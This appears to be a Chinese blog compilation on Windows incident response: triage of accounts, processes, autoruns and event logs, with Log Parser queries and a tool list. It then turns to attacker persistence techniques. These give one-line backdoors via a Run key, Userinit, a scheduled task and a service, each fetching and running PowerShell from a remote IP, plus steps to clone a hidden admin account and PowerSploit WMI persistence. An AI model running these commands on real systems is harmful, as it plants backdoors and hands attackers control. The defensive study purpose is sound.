0x00 前言

当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。

常见的应急响应事件分类:

Web 入侵:网页挂马、主页篡改、Webshell

系统入侵:病毒木马、勒索软件、远控后门

网络攻击:DDOS 攻击、DNS 劫持、ARP 欺骗

针对常见的攻击事件,结合工作中应急响应事件分析和解决的方法,总结了一些 Windows 服务器入侵排查的思路。

windows 入侵排查

0x01 入侵排查思路

1.1 检查系统账号安全

1、查看服务器是否有弱口令,远程管理端口是否对公网开放。

  • 检查方法:据实际情况咨询相关服务器管理员。

2、查看服务器是否存在可疑账号、新增账号。

  • 检查方法:打开 cmd 窗口,输入 lusrmgr.msc 命令,查看是否有新增/可疑的账号,如有管理员群组的(Administrators)里的新增账户,如有,请立即禁用或删除掉。
  • image-20250803131926441

3、查看服务器是否存在隐藏账号、克隆账号。

  • 检查方法:

    a、打开注册表 ,查看管理员对应键值。

    在注册表编辑器中,找到 “HKEY_LOCAL_MACHINE\SAM\SAM”。默认情况下,该选项内容无法查看,需右键点击 “SAM”,选择 “权限”,打开权限管理窗口。选择当前用户(通常为 administrator),将权限勾选为 “完全控制”,点击 “确定” 后关闭注册表编辑器。

    再次打开注册表编辑器,定位到 “HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”。在此项下,可以看到系统中的所有用户名,包括可能存在的隐藏账号。

    image-20250803132311363

    若出现本地账户中没有的账户,尤其是用户名后面带有 “$” 符号的,很可能就是隐藏账户。在确认为非系统用户的前提下,可进一步确认其是否为恶意账号。

    正常情况下,每个账号都有唯一对应的键值(F 值)。攻击者通常会将克隆账号的 F 值修改为与管理员账号(administrator)相同,以获取管理员权限。因此,对于发现的可疑隐藏账号,查看其对应的 F 值是否和 “administrator” 对应的 F 值相同,如果相同,则可判断该账号为克隆账号。

    b、使用D盾_web查杀工具,集成了对克隆账号检测的功能。

4、结合日志,查看管理员登录时间、用户名是否存在异常。

  • 检查方法:

    a、Win+R 打开运行,输入”eventvwr.msc”,回车运行,打开“事件查看器”。

    image-20250803132645754

    image-20250803132743814

    image-20250803132859378

    b、导出 Windows 日志 – 安全,利用微软官方工具 Log Parser 进行分析。

    需要先去事件管理器进行导出日志,然后在进行查询

    LogParser.exe -i:EVT "SELECT TimeGenerated AS LoginTime, EXTRACT_TOKEN(Strings, 5, '|') AS Username FROM 1.evtx WHERE EventID = 4624"

    image-20250803134835606

1.2 检查异常端口、进程

1、检查端口连接情况,是否有远程连接、可疑连接。

  • 检查方法:

    a、使用netstat -ano 命令查看目前的网络连接,定位可疑的 ESTABLISHED

    b、根据 netstat 命令定位出的 PID 编号,再通过 tasklist 命令进行进程定位 tasklist | findstr "PID"

    image-20250803135155326

2、进程

  • 检查方法:

    a、开始 – 运行 – 输入 msinfo32 命令,依次点击 “软件环境 – 正在运行任务” 就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期以及启动时间等。

    b、打开D盾_web查杀工具,进程查看,关注没有签名信息的进程。

    c、通过微软官方提供的 Process Explorer 等工具进行排查 。 这里我们也可以利用火绒剑,PCHunter钩子,来查看对应的进程是否有异常的网络活动等等。

    d、查看可疑的进程及其子进程。可以通过观察以下内容:

    1
    2
    3
    4
    5
    没有签名验证信息的进程
    没有描述信息的进程
    进程的属主
    进程的路径是否合法
    CPU 或内存资源占用长时间过高的进程

3、小技巧:

​ a、查看端口对应的 PID:netstat -ano | findstr "port"

​ b、查看进程对应的 PID:任务管理器 – 查看 – 选择列 – PID 或者 tasklist | findstr "PID"

​ c、查看进程对应的程序位置:

​ 任务管理器 – 选择对应进程 – 右键打开文件位置

​ 运行输入 wmic,cmd 界面输入 process 这里win10可以正常使用,win11已经弃用

image-20250803135649681

​ win11用户可以按照以下步骤,在 Windows 11 系统中修复该错误:

​ 1. 打开设置应用,跳转到系统可选功能。

​ 2. 点击“添加可选功能”选项旁边的“查看功能”。

​ 3. 在搜索框中键入 WMIC,并在结果列表中打勾。

​ 4. 单击“下一步”在 Windows 11 中安装 WMIC。

​ d、tasklist /svc 进程 – PID – 服务 这里需要关注进程名,对应的服务等。

​ e、查看Windows服务所对应的端口:

​ %systemroot%/system32/drivers/etc/services(一般 %systemroot% 就是 C:\Windows 路径)

image-20250803140535879

1.3 检查启动项、计划任务、服务

1、检查服务器是否有异常的启动项。

  • 检查方法:

    a、登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。 启动目录,里面的文件会随着系统启动而运行。
    b、单击开始菜单 >【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
    c、单击【开始】>【运行】,输入 regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:

    1
    2
    3
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

    检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马。

    d、利用安全软件查看启动项、开机时间管理等。

    e、组策略,运行 gpedit.msc

    image-20250803141517105

2、检查计划任务

  • 检查方法:

    a、单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现木马文件的路径。

    b、单击【开始】>【运行】;输入 cmd,然后输入 at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。

    image-20250803142307415

3、服务自启动

  • 检查方法:单击【开始】>【运行】,输入 services.msc,注意服务状态和启动类型,检查是否有异常服务。

image-20250803142526549

注意服务的启动参数,还有启动类型等等

1.4 检查系统相关信息

1、查看系统版本以及补丁信息

  • 检查方法:单击【开始】>【运行】,输入 systeminfo,查看系统信息。(特别关注新爆出来的0day,nday漏洞,及时打补丁)

2、查找可疑目录及文件

  • 检查方法:

    a、 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录。

    1
    2
    Window 2003版本 C:\Documents and Settings
    Window 2008R2及以后版本 C:\Users\

    image-20250803142847304

    b、单击【开始】>【运行】,输入 %UserProfile%\Recent,分析最近打开分析可疑文件。

    c、在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。

    d、回收站、浏览器下载目录、浏览器历史记录

    e、修改时间在创建时间之前的为可疑文件

3、发现并得到 WebShell、远控木马的创建时间,如何找出同一时间范围内创建的文件?

​ a、利用 Registry Workshop 注册表编辑器的搜索功能,可以找到最后写入时间区间的文件。
​ b、利用计算机自带文件搜索功能,指定修改时间进行搜索。

1.5 自动化查杀
  • 病毒查杀

    • 检查方法:下载安全软件,更新最新病毒库,进行全盘扫描。
  • webshell查杀

    • 检查方法:选择具体站点路径进行webshell查杀,建议使用两款 WebShell 查杀工具同时查杀,可相互补充规则库的不足。
1.6 日志分析

系统日志

  • 分析方法:

    a、前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。

    b、Win+R 打开运行,输入 “eventvwr.msc”,回车运行,打开”事件查看器”。

    C、导出应用程序日志、安全日志、系统日志,利用 Log Parser 进行分析。

Web 访问日志

  • 分析方法:

    a、找到中间件的web日志,打包到本地方便进行分析。

    b、推荐工具:Windows 下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。Linux 下,使用 Shell 命令组合查询分析。

0x02 工具篇

2.1 病毒分析

PCHunter:http://www.xuetr.com

火绒剑:https://www.huorong.cn

Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

processhacker:https://processhacker.sourceforge.io/downloads.php

autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns

OTL:https://www.bleepingcomputer.com/download/otl/

SysInspector:http://download.eset.com.cn/download/detail/?product=sysinspector

2.2 病毒查杀

卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe (推荐理由:绿色版、最新病毒库)

大蜘蛛:http://free.drweb.ru/download+cureit+free(推荐理由:扫描快、一次下载只能用1周,更新病毒库)

火绒安全软件:https://www.huorong.cn

360杀毒:http://sd.360.cn/download_center.html

2.3 病毒动态

CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn

微步在线威胁情报社区:https://x.threatbook.cn

火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html

爱毒霸社区:http://bbs.duba.net

腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html

2.4 在线病毒扫描网站

Virustotal:https://www.virustotal.com

Virscan:http://www.virscan.org

腾讯哈勃分析系统:https://habo.qq.com

Jotti 恶意软件扫描系统:https://virusscan.jotti.org

2.5 webshell查杀

D盾_Web查杀:http://www.d99net.net/index.asp

河马 WebShell 查杀:http://www.shellpub.com

Windows日志分析

0x01 Windows事件日志简介

Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。

Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。

系统日志

1
2
3
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。

默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx

应用程序日志

1
2
3
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。 

默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx

安全日志

1
2
3
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。

默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx

​ 系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。 安全日志记录着事件审计信息,包括用户验证(登录、远程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。

0X02 审核策略与事件查看器

Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用 ,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。

PS:默认状态下,也会记录一些简单的日志,日志默认大小20M

设置1:开始 → 管理工具 → 本地安全策略 → 本地策略 → 审核策略,参考配置操作:

image-20250803152322124

设置2:设置合理的日志属性,即日志最大大小、事件覆盖阀值等:

image-20250803152425833

查看系统日志方法:

  1. 在**“开始”菜单上,依次指向“所有程序”“管理工具”,然后单击“事件查看器”**
  2. 按 “Window+R“,输入 ”eventvwr.msc“ 也可以直接进入“事件查看器

0x03 事件日志分析

对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:

事件ID 说明
4624 登录成功
4625 登录失败
4634 注销成功
4647 用户启动的注销
4672 使用超级用户(如管理员)进行登录
4720 创建用户

每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:

登录类型 描述 说明
2 交互式登录(Interactive) 用户在本地进行登录。
3 网络(Network) 最常见的情况就是连接到共享文件夹或共享打印机时。
4 批处理(Batch) 通常表明某计划任务启动。
5 服务(Service) 每种服务都被配置在某个特定的用户账号下运行。
7 解锁(Unlock) 屏保解锁。
8 网络明文(NetworkCleartext) 登录的密码在网络上是通过明文传输的,如FTP。
9 新凭证(NewCredentials) 使用带/Netonly参数的RUNAS命令运行一个程序。
10 远程交互,(RemoteInteractive) 通过终端服务、远程桌面或远程协助访问计算机。
11 缓存交互(CachedInteractive) 以一个域用户登录而又没有域控制器可用

关于更多EVENT ID,详见微软官方网站上找到了“Windows Vista 和 Windows Server 2008 中的安全事件的说明”。

原文链接 :https://support.microsoft.com/zh-cn/help/977519/description-of-security-events-in-windows-7-and-in-windows-server-2008

案例1:可以利用eventlog事件来查看系统账号登录情况:

  1. 在**“开始”菜单上,依次指向“所有程序”“管理工具”,然后单击“事件查看器”**;

  2. 在事件查看器中,单击**“安全”**,查看安全日志;

  3. 在安全日志右侧操作中,点击**“筛选当前日志”**,输入事件ID进行筛选。

    4624 –登录成功
    4625 –登录失败
    4634 – 注销成功
    4647 – 用户启动的注销
    4672 – 使用超级用户(如管理员)进行登录

如果出现大量打4625登录错误,那么大概率被暴力破解

案例2:可以利用eventlog事件来查看计算机开关机的记录:

1、在**“开始”菜单上,依次指向“所有程序”“管理工具”,然后单击“事件查看器”**;

2、在事件查看器中,单击**“系统”**,查看系统日志;

3、在系统日志右侧操作中,点击**“筛选当前日志”**,输入事件ID进行筛选。

其中事件ID 6006 ID6005、 ID 6009就表示不同状态的机器的情况(开关机)。
6005 信息 EventLog 事件日志服务已启动。(开机)
6006 信息 EventLog 事件日志服务已停止。(关机)
6009 信息 EventLog 按ctrl、alt、delete键(非正常)关机

0x04 日志分析工具

Log Parser

Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。

Log Parser 2.2下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659

Log Parser 使用示例:https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/

基本查询结构

1
Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\xx.evtx"

使用Log Parser分析日志

1、查询登录成功的事件

1
2
3
4
5
6
7
8
9
登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4624"

指定登录时间范围的事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624"

提取登录成功的用户名和IP:
LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx where EventID=4624"

2、查询登录失败的事件

1
2
3
4
5
6
登录失败的所有事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4625"

提取登录失败用户名进行聚合统计:
LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,' ')) as Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\Security.evtx where EventID=4625 GROUP BY Message"

3、系统历史开关机记录:

1
2
LogParser.exe -i:EVT –o:DATAGRID  "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006"

LogParser Lizard

对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。

下载地址:http://www.lizard-labs.com/log_parser_lizard.aspx

依赖包:Microsoft .NET Framework 4 .5,下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=42642

查询最近用户登录情况:

Event Log Explorer

Event Log Explorer是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系统,应用程序和其他微软Windows 的记录被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。

下载地址:https://event-log-explorer.en.softonic.com/

参考链接:

Windows日志分析 https://mp.weixin.qq.com/s/ige5UO8WTuOOO3yRw-LeqQ

Windows权限维持–隐藏

0x00 前言

攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之不易被管理员发现。

0x01 隐藏文件

1、利用文件属性

最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。(自欺欺人)

如何真正隐藏文件?

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r D:\test\project\test.txt

这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。

破解隐藏文件:

打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。

image-20250803154215111

对于一般的电脑小白有用

2、驱动级文件隐藏

驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker

下载链接: http://www.xoslab.com/efl.html

如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:

1
2
3
4
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

那么你,应该是遭遇了驱动级文件隐藏。

如何清除?

1
2
3
4
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。

这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。

0x02 隐藏账号

window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限。只对于电脑小白有用。

image-20250803160043877

去查一下注册表或者lusrmgr.msc一下就看出来了

image-20250803160326581

克隆账号制作过程:

1、“开始”→“运行”,输入“regedt32.exe”后回车,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右建权限,把名叫:administrator的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。

2、来到注册表编辑器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处,点击test$用户,得到在右边显示的键值中的“类型”一项显示为0x3ea,找到箭头所指目录。

image-20250803160725986

3、找到administrator所对应的的项为“000001F4”,将“000001F4”的F值复制到“000003EA”的F值中,保存。

4、分别test$和“000003EA导出到桌面,删除test$用户 net user test$ /del

image-20250803161115191

5、将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到。

image-20250803161341862

检测和清理方法:

使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。

0x03 端口复用

通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?

前阵子,@Twi1ight公布了一种基于内置系统服务的端口复用后门方法,利用WinRM服务,一条命令实现端口复用后门:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复用方式。假设,攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令:

0x04 进程注入

进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的以及我们如何通过工具排查出来?

1、meterpreter会话注入

当前权限无法获取hash值,查看目前系统进程

通过migrate将进程注入到system进程后,成功获得hash值。

Window后门排查:

通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。

2、Empire会话进程注入

通过psinject模块进行会话注入,直接输入ps选择一个SYSTEM权限的进程PID,使用进程注入模块,来获取权限。如下图:

Window后门排查:利用process monitor或者火绒剑监控进程都可以定位到注入进程。

3、Cobalt Strike进程注入

选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会话,这个会话就是成功注入到某进程的beacon。

Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。

Windows权限维持–后门

关键词:Windows系统后门、权限维持

在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本文将对常见的window服务端自启动后门技术进行解析,知己知彼方能杜绝后门。

0x01 注册表自启动

通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。

常用的注册表启动键:

1
2
3
4
5
6
7
8
9
# Run键 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Winlogon\Userinit键
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

类似的还有很多,关键词:注册表启动键值。

使用以下命令可以一键实现无文件注册表后门:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f

Logon Scripts 后门

注册表路径:HKEY_CURRENT_USER\Environment\

创建字符串键值: UserInitMprLogonScript,键值设置为bat的绝对路径:c:\test.bat

userinit后门

在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。

利用USERINIT注册表键实现无文件后门:

1
2
3
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

"Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""

0x02 组策略设置脚本启动

运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。

image-20250803162843397

容易遇到的问题:脚本需全路径,如C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

0x03 计划任务

通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。

使用以下命令可以一键实现:

1
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/logo.gif\"\"\"))\""

容易遇到的问题:cmd命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。

计划脚本每 1 分钟运行一次。

image-20250803163021640

0x04 服务自启动

通过服务设置自启动,结合powershell实现无文件后门。

使用以下命令可实现:

1
2
3
4
5
sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""

sc description KeyName "Just For Test" //设置服务的描述字符串
sc config Name start= auto //设置这个服务为自动启动
net start Name //启动服务

成功创建了一个自启动服务

image-20250803163202145

0x05 WMI后门

在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit,下面用它的Persistence模块来示范一个简单的例子。

1
2
3
4
Import-Module .\Persistence\Persistence.psm1
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

0x06 dll劫持

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。

比较常用的如LPK.dll的劫持:

win7及win7以上系统增加了KnownDLLs保护,需要在注册表:

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ExcludeFromKnownDlls

下添加 “lpk.dll” 才能顺利劫持:

image-20250803163815495

0x07 COM劫持

利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。这种方法可以绕过Autoruns对启动项的检测。